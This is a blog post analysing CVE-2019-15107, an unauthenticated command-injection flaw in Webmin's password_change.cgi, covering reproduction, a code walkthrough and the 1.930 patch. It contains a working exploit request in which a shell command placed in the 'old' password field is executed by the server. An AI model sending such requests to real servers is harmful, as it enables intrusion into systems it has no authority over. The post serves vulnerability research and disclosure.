Chybeta

【CVE-2019-15107】:RCE in Webmin <= 1.920 via password-change

CVE-2019-15107:RCE in Webmin <= 1.920 via password-change

中文:https://xz.aliyun.com/t/6040

0x01 Reproduce

  • webmin 1.920
  • Ubuntu

To reproduce this vulnerability, you need enable the password-change feature.

https://ip:10000/webmin/edit_session.cgi?xnavigation=1 :

1.jpg

Then you can check the config and the passwd_mode value has been changed

1
2
3
4
# cat /etc/webmin/miniserv.conf
...
passwd_mode=2
...

2.jpg

You can capture post request like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /password_change.cgi HTTP/1.1
Host: yourip:10000
Connection: close
Content-Length: 63
Cache-Control: max-age=0
Origin: https://yourip:10000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Referer: https://yourip:10000/session_login.cgi
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sessiontest=1; sid=x
user=root&pam=1&expired=2&old=buyaoxiedaopocli&new1=buyaoxiedaopocli&new2=buyaoxiedaopocli

Set the parameter old value as |ifconfig

3.jpg

4.png

0x02 Analysis

In password_change.cgi :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# line 18 ~ line 31
# Is this a Webmin user?
if (&foreign_check("acl")) {
&foreign_require("acl", "acl-lib.pl");
($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
if ($wuser->{'pass'} eq 'x') {
# A Webmin user, but using Unix authentication
$wuser = undef;
}
elsif ($wuser->{'pass'} eq '*LK*' ||
$wuser->{'pass'} =~ /^\!/) {
&pass_error("Webmin users with locked accounts cannot change ".
"their passwords!");
}
}

The code will check whether the parameter user is a Webmin user. If there is a Webmin user named root and we set user=root,then the $wuser‘s value will be root.

If we set user=xxxx,then $wuser will still be undef after grep
6.png

However the following is $wuser->{'pass'},which will change $wuser value from undef to {}

7.png

5.png

So whatever user you have provided, you will be step in the code segment to update webmin user’s password.

  • user=root

8.png

  • user=noexists_user

9.png

Now let’s check the password_change.cgi line 37 ~ line 40:

1
2
3
4
5
6
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
...
}

The implemention of function encrypt_password is of no importance . You should pay attention to how Webmin handles the error message.

1
&pass_error($text{'password_eold'},qx/$in{'old'}/);

Webmin just put our parameter old in qx/.../

11.png

And after executing system commands, Webmin will print the result:
image.png

So in conclusion there is no need to add a vertical bar (|) , we just set our parameter old value as ifconfig

image.png

By the way , there is an interesting issue https://github.com/webmin/webmin/issues/947

12.png

0x03 Patch

webmin 1.930 fix this security vulnerability by removing the qx() backdoor:
image.png

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:【CVE-2019-15107】:RCE in Webmin <= 1.920 via password-change

文章作者:chybeta

发布时间:2019年08月19日 - 20:08

最后更新:2019年08月19日 - 21:08

原始链接:http://chybeta.github.io/2019/08/19/【CVE-2019-15107】-RCE-in-Webmin-1-920-via-password-change/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。